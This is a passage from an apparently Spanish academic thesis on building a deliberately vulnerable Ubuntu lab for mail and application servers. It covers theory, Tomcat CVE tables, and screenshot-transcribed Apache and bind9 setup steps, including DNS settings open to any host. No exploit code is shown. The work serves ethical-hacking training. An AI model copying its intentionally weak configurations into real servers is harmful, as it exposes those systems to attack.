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Resumen

Palabras clave: hacker, vulnerabilidad, ataque informatico, servidores

La seguridad de la informacidon ha adquirido una gran importancia en la
actualidad, el uso de servidores es muy comun en todos los ambitos,
especificamente los servidores de correo y aplicaciones estan expuestos a
constantes ataques por parte de hackers. El enfoque en estos servidores es
porque a través de ellos se puede tener acceso a la infraestructura de
objetivo a atacar por parte de los hackers. El servidor de correo es muy
vulnerable en su infraestructura y en la facilidad para establecer

comunicaciones a través de un mensaje por correo electrénico.

El analisis de vulnerabilidades es una técnica que permite identificar
previamente las vulnerabilidades de los equipos, antes de exponerlas en un
ambiente laboral. Cuando logra identificar cudles son las fallas de los
servidores y a que estan expuestos si no se corrigen estas fallas, se puede
reducir la superficie de ataque. Es muy importante realizar este tipo de
analisis con una planificacidn, ya que constantemente los diversos ataques
empleados por los hackers evolucionan y de igual manera los encargados de
la seguridad deben estar actualizados y preparados para contrarrestar los

diferentes eventos que se presenten.
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Abstract

Palabras clave: hacker, vulnerability, computer attack, servers

Information security has become very important nowadays, the use of servers is very
common in all areas, specifically mail and application servers are exposed to constant
attacks by hackers. The focus on these servers is because through them you can have
access to the target infrastructure to be attacked by hackers. The mail server is very
vulnerable in its infrastructure and in the ease of establishing communications through
an e-mail message.

The analysis of vulnerabilities is a technique that allows to identify in advance the
vulnerabilities of the equipment, before exposing them in a work environment. When it
is able to identify what are the flaws of the servers and what they are exposed to if these
flaws are not corrected, the attack surface can be reduced. It is very important to
perform this type of analysis with planning, since the various attacks used by hackers
are constantly evolving and, likewise, security managers must be updated and prepared
to counteract the different events that may occur.
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2. Introduccion

La seguridad de la informacién se ha convertido en tema primordial tanto para
organizaciones, gobiernos y personas. El gran aumento de dispositivos
interconectados, el internet de las cosas, la forma en la que nos comunicamos hoy
en dia, todo esto engloba un desafio mayor al momento de precautelar el correcto
manejo de la informacidn. Para los expertos en seguridad se ha convertido en un
objetivo el proteger segun los estdndares los datos para evitar que se vea

comprometida la seguridad de la informacién.

Actualmente la gran mayoria de organizaciones cuentan con servidores de correo
para gestionar tanto la informacién que reciben como la que envian por este medio.
La configuracién de servidores de correos puede ser compleja y propensa a errores.
Un simple error al ingresar datos, ajustar permisos, un error en la configuracién de
un firewall o de reglas puede causar problemas en el funcionamiento del servidor y
ser aprovechadas por atacantes como: spammers, grupos de ciber espionaje,
crackers, scripts kiddies, hackers, ciberdelincuentes, empleados malintencionados,

etc. (Richardson solera, 2009).

En cuanto a los servidores de aplicaciones o dispositivo de software, las
organizaciones recurren a ellos con el fin de tener centralizada toda la informacion
en Unico punto y de esta forma poseer un mayor control. Pero al tratarse de un
sistema centralizado, las amenazas afectan a todos los ordenadores cliente que no
podran trabajar con las aplicaciones. Uno de los riesgos es la exposicion de
informacién sensible ya que, si el servidor no se encuentra configurado
adecuadamente, podria filtrar informacién sensible en mensajes de error o
registros, lo que podria ser utilizado por los atacantes (SAUCEDO & MIRANDA,
2015).

Es comun que los atacantes utilicen vulnerabilidades débiles como parte de sus

estrategias para comprometer sistemas informaticos o redes. Las vulnerabilidades
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débiles son aquellas fallas o debilidades en el software, sistemas operativos,
aplicaciones o configuraciones que pueden ser explotadas por atacantes para
obtener acceso no autorizado o realizar acciones maliciosas, las vulnerabilidades
débiles puede ser por contrasefias débiles, software desactualizado, fallos de
seguridad en aplicaciones, configuraciones incorrectas o puertos abiertos

innecesarios.

Histéricamente, las vulnerabilidades de las inyecciones de comandos de Shell han
sido muy importantes, aunque parece estar en declive Ultimamente. Este tipo de
inyeccion de comandos ocurre cuando la aplicacion invoca el shell del sistema
operativo (C-shell o Bash en Unix, command shell en Windows, etc.) para iniciar otro
programa (Jordan, 2009). Se trata de una vulnerabilidad de seguridad web que
permite a un atacante ejecutar comandos arbitrarios en el servidor donde se aloja
las aplicaciones instaladas, de esta forma compromete completamente la aplicacién

y todos sus datos.

El desbordamiento de buffer es uno de los problemas de seguridad con mas vigencia
en los primeros aios, por el momento no existe explicacién en concreto que pueda
demostrar porque después de 10 afios sigue siendo un obstdculo para los
desarrolladores, por eso se dice que es un atague muy comun entre los hackers con
el que se puede causar un problema muy serio en los sistemas. Existen numerosos
tipos de ataques de desbordamiento, pero el mas comun es el de la pila. Este ataque
consiste cuando un determinado programa por fallo en su implementacién no es
capaz de controlar la cantidad de datos que estan en el buffer, haciendo que se ultra

limite la capacidad del buffer (Dias, 2014).

El propdsito del proyecto es identificar los errores de una incorrecta configuracion
de los servidores de correo y de aplicaciones, por lo cual se ha elaborado un manual
practico, donde se detalla los errores cometidos para conocer cédmo actuia la
inyeccién de comandos y el desbordamiento de buffer ante estas vulnerabilidades.
Este manual incluye pautas y buenas practicas de seguridad para la adecuada

administracion de los servidores de aplicaciones y correo. Ademas, ayuda a los
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equipos de Tl para mantener una postura de seguridad sdlida y promover una

cultura de seguridad en toda organizacién.

Para ello se ha utilizado maquinas virtuales con distribucion Linux, en la cual se ha
configurado todos los componentes necesarios para un servidor de correo
electronico como Postfix, el cual es un proceso que se ejecuta en segundo plano
gue gestiona la entrada y la salida de correos de internet a la intranet, o, de la
intranet a internet, o, sin salir de la propia intranet (Berrios Reyes, 2006). Se ha
realizado configuraciones débiles, como permisos incorrectos en las carpetas de
correo, falta de autenticacién segura o configuraciones que permiten el spam o el
phishing. Posteriormente, dentro la misma maquina virtual se ha configurado los
componentes necesarios para un servidor de aplicaciones como Tomcat, que es un
software de cédigo abierto (Apache Tomcat, 1999), JBoss o Node.js es un entorno
de ejecucion de javascript orientado a eventos asincronos, disefiado para crear
aplicaciones network escalable (OpenlS Foundation, s.f.), con estas aplicaciones
conocidas por tener vulnerabilidades, se han realizado pruebas de inyeccion de

comandos y el desbordamiento de buffer.

La importancia de este documento era mostrar vulnerabilidades débiles vy
conocidas, para contar con una guia que permita identificarlas y corregirlas, de esta
forma se logré brindar un soporte agil para casos similares como los mencionados
en este proyecto. Conocer las vulnerabilidades débiles de un servidor y abordarlas
de manera practica es esencial para proteger la seguridad y privacidad de la

informacion.

Lo que se consiguid con este proyecto es que se convierta en una referencia para
actuar cuando se presente una de las vulnerabilidades mencionadas. Este proyecto
se ha desarrollado en base a técnicas conocidas, que pondran a prueba las
principales superficies de ataque que presentan las infraestructuras. De esta forma
se cred un manual completo de acciones reactivas y proactivas que se pueden

implementar a nivel de ciberseguridad.
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3. Objetivos (general y especificos)

Objetivo general

Disefiar y configurar una maquina virtual Linux que contenga una cantidad adecuada de
vulnerabilidades instaladas de manera intencional con el fin de generar un manual
completo de cémo identificarlas, evaluar los riesgos, explotarlas, solventarlas y hacer
una comparacion entre el estado de seguridad inicial y el final, con énfasis en: servidor
de correo electrénico, servidor de aplicaciones, desbordamiento de buffer e inyeccidn

de comandos
Objetivos especificos

e Redactar un estado del arte y marco tedrico adecuado que evidencie la
importancia de analizar vulnerabilidades en una mdaquina virtual con el fin de
practicar hacking ético.

e Disefiar una maquina virtual Linux que tenga una cantidad adecuada de
vulnerabilidades configuradas de manera intencional con el fin de generar un
manual completo de instalacidn, identificacién de vulnerabilidades, evaluacién
de riesgos potenciales, explotacidon y reparacién de las mismas, con énfasis en:
servidor de correo electrénico, servidor de aplicaciones, desbordamiento de
buffer e inyeccién de comandos

e Realizar una comparativa entre la maquina virtual con vulnerabilidades y la
maquina virtual con vulnerabilidades reparadas con el fin de evidenciar la

eficiencia de la reparacion.
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4.Determinacion del Problema

La necesidad de virtualizacion de servidores aumentando considerablemente en las
organizaciones, porque brindan muchos beneficios al momento de gestionar servidores,
por ejemplo: la permisién de consolidar multiples servidores en un Unico servidor fisico,
accesibilidad para escalar rdpidamente la capacidad de los servidores, maximizar la

utilizacidn de recursos y mejoras en el rendimiento general del sistema.

Uno de los problemas mas grandes que existe es el desconocimiento de la manera
correcta de configurar e instalar servidores de aplicaciones y Servidores de correo en
maquinas virtuales o el mal uso de las herramientas de virtualizacion, creyendo que son
totalmente seguras y no se necesita establecer seguridades como en las estructuras

fisicas.

Se evidencia entonces la importancia de realizar un estudio sobre las probables causas
qgue implican vulnerabilidades como el desbordamiento de buffer e inyeccién de
comandos que se encuentran asechando a los servidores de aplicaciones y servidores
de correos que se encuentran instaladas en maquinas virtuales, al momento de contar

con malas configuraciones aplicadas.

Este trabajo servird como una guia de buenas practicas al momento de configurar
servidores de aplicaciones y servidor de correos de sistemas operativos Linux en entorno

virtual.

Pagina 13 de 86



Marco tedrico referencial

En esta seccidn presentaremos una breve sistematizacion de trabajos previos
relacionados a la tematica de vulnerabilidades de seguridad en ambientes virtuales y
ataques de denegacidn de servicios.

4.1. Antecedentes de la investigacion

Se han realizado muchas investigaciones en base a las buenas practicas de la seguridad
de la informacion, tanto en la busqueda de vulnerabilidades como en la forma en que
se puede evitarlas. El uso de laboratorios de prueba virtual es de suma importancia para
la explotacion de vulnerabilidades fuera de ambientes de produccidn, tal como lo indica
Carlos Hipdlito Tapia en su trabajo sobre “Mejores practicas de seguridad en ambientes
virtuales” (AYALA, 2017). Al tener un ambiente controlado de pruebas se puede actuar
en base a los conocimientos de ciberseguridad, todo esto para establecer las mejores
practicas a implementar.

El correcto disefio de un ambiente simulado de pruebas debe asimilarse al ambiente
real que se busca emular, asi como lo detalla Julidn Fonseca en su investigacion del ano
2015 (Fonseca, 2015), donde explica la infraestructura de red, los requerimientos
tecnoldgicos, el hardware y software adecuados para el levantamiento de este tipo de
ambientes. Ademas, existen diversas plataformas que simulan entornos de pruebas,
como lo resalta Edgar Rivera, Mirian Cardenas, Washington Chiriboga en su
investigacion del afio 2020 (OSORIO, ZEA, & CASANOVA, 2020) cuando se realizan
ataques de fuerza bruta que puedan comprometer los sistemas, ataques como la
denegacidn se servicios, en la mayoria de los casos los servicios quedan dados de bajo.
Por eso es importante realizar un analisis y evaluacién de herramientas que generan
este tipo de ataques para poder mitigar ese riesgo.

El termino hacking ético ha tomado una gran relevancia con el pasar de los anos,
términos como pentesting, ciberseguridad se han convertido en palabras muy
importantes dentro de la seguridad de la informacién. Como lo menciona Alex
Meucaylle en su trabajo del afio 2019 (Meucaylle, 2019), en el cual ya no se realizaba
solo explotacién de vulnerabilidades en ambientes virtuales, sino se sigue metodologias
como OOSSTMM, ISSAF y OWASP para establecer buenas practicas de seguridad. La
implementacién de politicas de seguridad a nivel del personal como lo menciona
(Amorocho, 2020)en el afio, nos muestra el rol importante que tiene el factor humano
dentro del manejo de los sistemas.

El andlisis de vulnerabilidades en ambientes controlados ya no se centra solo en
dispositivos fisicos, se ha extendido al cloud computing, como lo menciona Javier Pérez
en su trabajo del afio 2019 (Perez, 2019), la arquitectura Cloud al ser flexible, escalable
y compartida esta expuesta a muchos riesgos, en donde se espera tener muchas mas
contribuciones en base a investigaciones para mitigar estos riesgos. Los dispositivos
moviles también requieren de simular ambientes controlados para explotar
vulnerabilidades, lo menciona Lady Vargas en su investigacion del afio 2023 (Vargas,
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2023), los smartphones pueden adquirir permisos de usuario lo cual permitiria que un
atacante tenga acceso a toda la informacidn desde la raiz, por lo cual es importante
siempre aplicar los parches de seguridad del sistema operativo. Un smartphone esta
expuesto tanto a nivel de software como de hardware.

4.2. Conceptos y nociones principales
En esta seccidn se harda mencidn a los conceptos y nociones que resultan relevantes para
la comprension de este trabajo.

Servidor de aplicaciones

El servidor de aplicaciones actia como intermediario entre los clientes (como
navegadores web, dispositivos méviles o aplicaciones de escritorio). Esta disefiado para
alojar y ejecutar aplicaciones en un entorno de red, proporciona una plataforma o
entorno en el cual se puede desarrollar, implementar y administrar aplicaciones
empresariales (Romero Guillén, 2012).

Un Servidor de aplicaciones provee una estructura de tres capas que ayuda que nuestro
sistema funcione de una forma mas eficiente.

Capa Cliente Capa Media Capa Datos
Cliente Web
) SGBD
Movil L

\ Servidor 1

i Aplicaciones Aplicacién EIS
Cliente Java/swing || ——— |

Otras aplicaciones
Cliente VB/C++

Fig. 1. Arquitectura en tres capas utilizando SA (fuente:
http://dspace.espoch.edu.ec/handle/123456789/1528)

En la Fig. 1 se puede observar un diagrama que representa la arquitectura de tres capas
utilizadas en servidores de aplicaciones.

Capa Cliente

El nivel de cliente es la interfaz de usuario que se comunica con la aplicacién. En el cual
el usuario final interrelaciona con la aplicacion. El objetivo fundamental es visualizar
informacién al usuario (Tulach., 2008).

Cliente Web. Es una aplicacién o software que es ejecutado en un dispositivo, se usa
para navegar y adquirir contenido de sitios web (Guillén, 2019). Como ejemplos
tenemos los siguientes:

e Chrome

e Mozilla Firefox

e Microsoft Edge
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Movil. Algunas aplicaciones también actian como clientes web, porque permite a los
usuarios acceder a contenido en line (Enriquez, 2013).

Cliente Java/swing- VB/C++. Son aplicaciones de escritorio desarrolladas en lenguajes
de programacién y utilizan biblioteca de graficos, para crear interfaces de usuarios
(Groussard, 2012).

Capa Media

El nivel de Media involucra al servidor de aplicaciones, porque es el nucleo de la
aplicacion, en este nivel, toda la informacidn adquirida en el nivel de cliente se procesa,
la ventaja de este nivel es mantener en todo momento el control del tipo de operaciones
gue se ejecuten contra la base de datos (Polo, 2008).

Capa Datos

El nivel de Datos o también conocido como nivel de bases de datos, nivel de acceso de
datos o backend, es aquel que almacena y administra informacién o datos que procesa
una aplicacion (Haines., 2006) y (Schincariol., 2006).

SGBD (Sistemas de Gestion de Base de Datos)
Es un software que se utiliza para gestionar o administrar bases de datos, facilita una
interfaz para la interaccién con la base de datos (de la Pefia O'Shea, 2017). Algunos
ejemplos son:

e MySQL

e Oracle Database

e Microsoft SQL server

e PostgreSQL

Aplicaciones EIS (Sistemas de informacidn ejecutiva)
Son herramientas creadas para adquirir informacidn estratégica y tactica a los ejecutivos
de una institucion, permite al ejecutivo mirar mas alla de estos resimenes, aumenta la
facilidad de toma de decisiones (Elias Santos, 1992) y (Benitez Cérdova, 2020). Algunos
ejemplos son:

e Tableau

e Microsoft power BI.

e SAP BusinessObjects.

Servidor de aplicaciones Tomcat

Tomcat es un contenedor de servlets de cddigo abierto desarrollado por el apache
software foundation que se utiliza en la implementacion para java servlet y java server
pages. el motor de servlest de tomcat a menudo se presenta con frecuencia en
combinacidn con el servidor web apache (Bosch lladd, 2020).

Servlets

La palabra servlet deriva de otro anterior applet, que se refiere a pequefios programas
escritos en Java que se ejecutan en el contexto de un navegador web. En resumen, un
servlet es un programa que se ejecuta en un servidor (Moral, 2003).
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Version de Tomcat vulnerables.
Las versiones 7, 8,9 y 10 de Apache Tomcat estan afectadas por 2 vulnerabilidades, una
severidad critica y otra media, de tipo denegacion de servicio (DoS) en WebSocket y DoS
en el protocolo HTTP/2, respectivamente (Espafia(incibe), 2018). Algunas de ellas son:
e desdela7.0.27, hastala 7.0.104;
e desdela 8.5.0, hasta la 8.5.56;
e desdela9.0.0.M1, hasta la 9.0.36;
e desde la 10.0.0-M1, hasta la 10.0.0-M6.

Servidor de correo electrénico

Es el encargado de gestionar el envio, recepcion y almacenamiento de correos. Su
funcionalidad principal es permitir la comunicacion mediante protocolos de correo
saliente y entrante. Estos servidores utilizan protocolos como SMTP (envié de correos),
POP3 o IMAP (recibir correos). Un servidor de correo puede ser publico (Gmail, Yahoo)
o privado (configurado internamente por cada organizacién) (Cloudfare, 2023).

Vulnerabilidad
Es una debilidad o fallo en un sistema, aplicacion, red o infraestructura que podria ser
explotada por amenazas informaticas, utilizadas para provocar dafio o acceder a

informacién sumamente confidencial de una forma no autorizada (Cabezas Herrera,
2022).

Vulnerabilidad de desbordamiento de Buffer

Un desbordamiento de bufer es el resultado de meter mas datos en un bufer de los que
puede manejar (One, 1996). Desbordamiento de bufer se encarga de escribir fuera de
los limites asignados la memoria, puede dafiar los datos, bloquear el programa o
provocar la ejecucion de una carga util de ataque (Katrina Tsipenyuk, 2005).

Vulnerabilidad de inyeccion de comandos

La inyeccién de comandos es un ataque cuyo objetivo es la ejecuciéon de comandos
arbitrarios en el sistema operativo host a través de una aplicaciéon vulnerable. Los
ataques de inyeccion de comandos son posibles cuando una aplicacion pasa datos no
seguros proporcionados por el usuario (formularios, cookies, encabezados HTTP, etc.) a
un shell del sistema (Zhong, 2023).

Configuraciones incorrectas o débiles.

Una mala configuracion puede dejar expuesto a muchos servicios, puertos o
configuraciones sensibles que podrian ser explotados por atacantes. Esto puede incluir
el uso de contraseiias débiles lo cual provocaria un ataque de fuerza bruta, permisos
incorrectos de archivos y directorios, configuraciones de red inseguras o falta de
actualizaciones y parches (Wagner, Nueva técnica de ataque para hackear servidores
apache Tomcat. , 2023).
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Exposicion de informacion sensible

Revelar detalles sensibles de un servidor de aplicaciones, existen algunas versiones de
apache con vulnerabilidades como se muestra en la tabla 1, lo que puede provocar una
exposicién de informacién sensible, como mensajes de error que contienen informacion
del sistema, informacién de configuracién o datos personales de los usuarios (Infante,
2023).

Tabla 1
Vulnerabilidad Divulgacién de informacion
Cddigo CVE-2023-42795
Severidad Alta
Versiones afectadas — Apache Tomcat 11.0.0-M1 a 11.0.0-M11

— Apache Tomcat 10.1.0-M1 a 10.1.13

— Apache Tomcat 9.0.0-M1 a2 9.0.80

— Apache Tomcat 8.5.0 2 8.5.93

Detalle Tomcat cuenta con un error interno que
provoca divulgacién de informacién, en
ciertos eventos, el sistema es capaz de
omitir imperceptiblemente partes del
proceso reciclado, esto permite que la
informacién de una solicitud
request/reponse se filtre a la siguiente.
Fuente: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42795

Fallos de seguridad en bibliotecas y componentes

Usualmente existen aplicaciones que utilizan bibliotecas y componentes de terceros
como se puede visualizar en la tabla 2, y si estos a su vez contienen vulnerabilidades
conocidas, los atacantes pueden aprovecharlas para comprometer el servidor de
aplicaciones. Es importante mantener actualizadas todas las dependencias y bibliotecas
utilizadas (Wagner, Vulnerabilidad de Apache Tomcat revela las cookies de sesion de
aplicacion a los atacantes., 2023).

Tabla 2
Vulnerabilidad por Fallos de componente
Cddigo CVE-2023-28708
Severidad Alta
Versiones afectadas -Apache Tomcat 11.0.0-M1 a 11.0.0-M2

-Apache Tomcat 10.1.0-M1 a 10.1.5
-Apache Tomcat 9.0.0-M1 a 9.0.71
-Apache Tomcat 8.5.0 2 8.5.85

Detalle Cuando se utiliza RemotelpFiltercon
solicitudes recibidas de un proxy inverso
a través de HTTP que incluyen el X-
Forwarded-Proto encabezado
establecido en https, las cookies de
sesion creadas por Tomcat no incluyen el
atributo seguro. Esto podria provocar que
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el agente de usuario transmita la cookie
de sesion a través de un canal inseguro.
Fuente: https://lists.apache.org/thread/hdksc59z3s7tm39x0pp33mtwdrt8qr67

4.4.6. Denegacion de Servicios (DoS)

Como se muestra en la tabla 3, de acuerdo al autor M. Markovi en su articulo de
investigacion define “A diferencia de muchos otros ataques, la denegacion de servicio
proviene de enviar datos no validos a aplicaciones o redes, haciendo que las aplicaciones
y los servicios cierren o funcionen de manera anormal” (Markovi, 2007). Enviar una
inundacion de paquetes se lo realiza hasta que se apague un servicio o una red entera
blogueando el tréfico, lo que resulta en una pérdida de accesos a los recursos de red por
parte de los usuarios (Cueva Hurtado, 2017).

Tabla 3
Vulnerabilidad de DoS
Cddigo CVE-2023-42794
Severidad Baja
Versiones Afectadas — Apache Tomcat 9.0.70 2 9.0.80
— Apache Tomcat 8.5.85 a3 8.5.93
Detalle Esta vulnerabilidad radica en una falla de

la funcion fork presente en los Commons
FileUpload. En sistemas Windows, una
aplicacion web podria no cerrar
correctamente una secuencia para un
archivo cargado, lo que provocaria que el
archivo permaneciera anclado al disco y
consuma espacio de almacenamiento de
manera gradual. Este comportamiento
eventualmente podria provocar una
denegacion de servicio al llenar
completamente el espacio de
almacenamiento en disco.

Fuente: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42794

4.4.7. Cross-site-scripting (XSS)

En esta técnica se aplica cddigo, por lo general JavaScript, en aplicaciones o sitios web
vulnerables. Una linea de comandos bien estructurada aplicada en sitios cruzados puede
otorgar a los atacantes acceso completo a la aplicacién. Generalmente esto sucede
cuando hay poca frecuencia de controles necesarios en el sitio. Los scripts utilizados son
una serie de instrucciones a ejecutar, que suelen ser programadas en java, html o
cualquier lenguaje de programacién (Pérez, 2015).

4.5. Hacker

Es un experto en seguridad, es una persona u organizacidn que realiza ataques a
infraestructuras, servicios, mediante la deteccién de vulnerabilidades que son
explotadas por ellos. Existen tres tipos de hackers: sombreo negro (son hackers
maliciosos), sombrero blanco (hacker ético), sombrero gris (descubren vulnerabilidades,
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pero sin malas intenciones). Esos son los tipos de hackers mas comunes, aunque existes
otros mas (Fernandez, 2022).

4.6. Hacker ético

También conocidos como hackers de sombrero blanco, son personas profesionales con
capacidades en ciberseguridad, que usan sus conocimientos de forma legal y ética. Este
conocimiento lo usan con autorizacion de las organizaciones para vulnerar sistemas o
redes, lo que ayuda a mejorar la seguridad y conocer las vulnerabilidades para poder
realizar un hardening (Fernandez, 2022).

4.7. Virtualizacién

La virtualizacidn se caracteriza por ser una tecnologia utilizada en representaciones
virtuales de servidores, almacenamiento, redes y otras maquinas fisicas. El software
virtual imita las funciones de un hardware fisico para ejecutar varias maquinas virtuales
a la vez en una Unica maquina fisica.

La importancia de usar la tecnologia de virtualizacion es ayudar a interactuar con
cualquier recurso de hardware con mayor flexibilidad. Los equipos fisicos generalmente
consumen electricidad, ocupan espacio de almacenamiento y necesitan mantenimiento.
Nos facilita en la administracién, en el mantenimiento y utilizacion de la infraestructura
de hardware como una aplicacién en la web (Ayala, 2017).
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5. Metodologia y desarrollo

En resumen, la metodologia a usar en el presente proyecto consistira en las siguientes
fases:

Fase 1:instalacidn y configuracién de las herramientas mencionadas, de tal manera que,
de forma intencionada, presente fallas y vulnerabilidades de seguridad. Para lo cual se

ird presentando el paso a paso (a manera de manual) del proceso.

Fase 2: identificacion y explotacion de las vulnerabilidades intencionalmente
configuradas.

Fase 3: correccion y/o reparacion de las vulnerabilidades, para lo cual también se
presentard el paso a paso.

Fase 4: verificacion de la ausencia de las vulnerabilidades corregidas.
5.1 Instalacidn del sistema operativo Linux a utilizar

Instalacidon de la distribucion Linux Ubuntu 22.04, se inicia con el proceso para instalar
el sistema operativo seleccionado.

Help and support

The official documentation covers many of
the most common areas about Ubuntu. It's
available both online and via the Help icon in
the Dock.

At Ask Ubuntu you can ask questions and
search an impressive collection of already
answered questions. Support in your own
language may be provided by your Local

Community Team.

For pointers to other useful resources, please
visit Community support or Commercial
support.

» Almost finished copyingfiles...
)
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Identificar la direcciéon IP de la maquina virtual con el comando ip add (se detecta la
direccién 192.168.216.131)

server@server-virtual-machine: ~
:$ ip add

t qlen 10800
link/loopback 90:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.8.08.1/8 scope host lo
valid 1ft forever preferred 1lft forever
ineté ::1/128 scope host
valid 1ft forever preferred lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1580 qdisc fgq_codel state UP gro
up default qlen 1008
link/ether 00:0c:29:dd:7c:48 brd ff:ff:ff:ff:ff:ff
altname enp2si
inet 192.168.216.131/24 brd 192.168.216.255 scope global dynamic noprefixrou
te ens33
valid 1ft 1666sec preferred 1ft 1666sec
inet6 feB8@::1ec5:473e:461c:6c8a/64 scope link noprefixroute
valid _1ft forever preferrei_lft forever
i=5

Instalar el servidor web apache2. Con el comando apt-get install seiniciala
instalacion de este servidor.

server@server-virtual-machine: ~

: % sudo apt-get install apachez
[sudo] contrasefa para server:
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacidn de estado... Hecho
Se instalaran los siguientes paquetes adicionales:
apache2-bin apache2-data apache2-utils libapril libaprutili
libaprutili-dbd-sqlite3 libaprutill-ldap
Paquetes sugeridos:
apache2-doc apache2-suexec-pristine | apache2-suexec-custom
Se instalaran los siguientes paquetes NUEVOS:
apache2 apache2-bin apache2-data apache2-utils libapr1l libaprutili
libaprutili-dbd-sqlite3 libaprutill-ldap
® actualizados, B nuevos se instalaran, © para eliminar y 178 no actualizados.
Se necesita descargar 1.919 kB de archivos.
Se utilizaran 7.718 kB de espacio de disco adicional después de esta operacion.
;Desea continuar? [S/n] s
Des:1 http://ec.archive.ubuntu.comfubuntu jammy-updates/main amd64 libapr1l amd64
1.7.0-8ubuntu@.22.04.1 [108 kB]
Des:2 http://ec.archive.ubuntu.comfubuntu jammy-updates/main amd64 libaprutill a
md64 1.6.1-5ubuntu4.22.84.2 [92,8 kB]
Des:3 http://ec.archive.ubuntu.comfubuntu jammy-updates/main amd64 libaprutili-d
bd-sqlite3 amd64 1.6.1-5ubuntu4.22.04.2 [11,3 kB]
Des:4 http://ec.archive.ubuntu.comfubuntu jammy-updates/main amd64 libaprutili-1
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Configurar el servicio de alojamiento del dominio atproyecto.xyz (este dominio se cred
mediante un hosting web). Esta configuracion permite relacionar el nombre del dominio
con las direcciones ip asignadas en el servidor.

Inicio Hosting Emails Dominios VPS Facturacion Pro Pane! EEEY Q = ﬁ ® ®

Administrar registros DNS

Estos registros definen cémo se comporta tu dominio. Los usos comunes incluyen apuntar tu dominio a servidores web o configurar la entrega de

correo electrénico para tu dominio

Tipo Nombre T

A - @ Apuntaa’ 14400
Tipo * Nombre 2 Prioridad + Contenido * TTL =
CNAME WWW o] atproyecto.xyz 14400 Borrar Editar
A @ [s] 192168.216.131 14400 Borrar Editar

Verificar que el dominio atproyecto.xyz se encuentre funcional, esto se hace ingresando
el nombre del dominio en la url del navegador, para visualizar que este levantado el
servicio.

@ Apache?2 Ubuntu Default Pz X | Apache2 Ubuntu Default Pz X +
% p: p:

< ] O & atproyecto.xyz Pke

&Y Apache2 Default Page
{ )

Ubuntu  mzmm

This is the default welcome page used to test the correct operation of the Apache2 server after installation on
Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. IF
you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should
replace this File (located at /var /www/html/index.html) before continuing to operate your HTTP server.

IFyou are a normal user of this web site and don't know what this page is about, this probably means that the site is
currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several
files optimized For interaction with Ubuntu tools. The configuration system is Fully documented in fusr/share
Jdoc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web server
itself can be Found by accessing the manual if the apache2 -doc package was installed on this server.

The configuration layout For an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/
. [-- apache2.conf
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Instalar el servidor DNS bind9que permite resolver direcciones ip y nombres de dominio.
Conelcomando apt-get install sedainicioalainstalacion. Este servidor permite
que los usuarios finales tengan acceso al dominio asignado.

Actividades (] Terminal 2deene 19:14

server@server-virtual-machine: ~

:-$ sudo apt-get install bind9
[sudo] contrasefia para server:
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacién de estado... Hecho
Se instalaran los siguientes paquetes adicionales:
bind9-dnsutils bind9-host bind9-1ibs bind9-utils
Paquetes sugeridos:
bind-doc resolvconf
Se instalaran los siguientes paquetes MUEVOS:
bind9 bind9-utils
Se actualizaran los siguientes paquetes:
bind9-dnsutils bind9-host bind9-1libs
3 actualizados, 2 nuevos se instalaran, @ para eliminar y 175 no actualizados. che2 server after installation on
necesita descargar 422 kB/1.875 kB de archivos. Ubuntu Apache packaging is derived. IF
liberaran 3.560 kB después de esta operacién. ite is working properly. You should
iDesea continuar? [S/n] s la to operate your HTTP server.
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 bind9-utils a [ SOIHGLELIELEEL G EIAGERSICEN
md64 1:9.18.18-0ubuntu®.22.04.1 [161 kB] ct the site's administrator.
Des: tp://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 bind9 amd64 1
9.18.18-0ubuntuB.22.04.1 [26 I
% [2 bind9 99,0 kB/260 kB 3i 13,9 kB/s 11sll It configuration, and split into several
ully documented in /usr/share
ocumentation For the web server
itself can be Found by accessing the manual if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

setc/apachez/
i |-- apache2.conf

Modificar los siguientes 4 ficheros con la configuracion detallada a continuacién:
named.conf.options, named.conf.local, db.atproyecto.xyz,
db.216.168.192.in-addr.arpa

$~ [+ server@server-virtual-machine: fetc/bind

sudo nano named.conf.options
[sudo] contrasefia para serve
sudo nano named.conf.local
sudo nano db.atproyecto.xyz
sudo nano db.216.168.192.1in-addr.arpa
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En el fichero named. conf.options configurar los equipos que se pueden conectar
al servidor DNS, dentro de forwards se asigna las ip que hacen él envié de peticiones.

[+ server@server-virtual-machine: /etc/bind Q = — O

/] If your ISP provided one or more IP addresses for stable

// nameservers, you probably want to use them as forwarders.

// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.

forwarder

ers
8.8.
1.1.:

listen-on { any; };
listen-on-v6 { any; };
allow-query { any; };

Wle Ayuda W Guardar WY Buscar Wy Cortar Wl Ejecutar {8 Ubicacion
Wy Salir Wi Leer fich.i@) Reemplazarigl Pegar W8 Justificar@ff] Ir a linea

En el fichero named.conf.local crear y configurar las zonas del servidor DNS, tenemos 2
zonas atproyecto.xyz y 216.168.192.id-addr.arpa. Estas zonas abarcan el
espacio de nombres DNS que se van a gestionar.

o server@server-virtual-machine: /etc/bind Q = = o X

GNU nano 6.2 named.conf.local
/l

// Do any local configuration here

1/

// Consider adding the 1918 zones here, if they are not used in your
/] organization
//include "/etc/bind/zones.rfc1918";
Zone "atproyecto.xyz" {
type master;
file "/etc/bind/db.atproyecto”;

};
Zone "216.168.192.1in-addr.arpa" {

type master;
file "/etc/bind/db.216.168.192.1n-addr.arpa”;

}s

15 lineas leidas
e Ayuda B¢ Guardar Q% Buscar Bt Cortar gl Ejecutar 4 Ubicacién
od Salir aa Leer fich.gl| Reemplazarigd¥ Pegar a8 Justificarig] Ir a linea
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En el fichero db.atproyecto.xyz configurar las direcciones ip hacia donde apunta
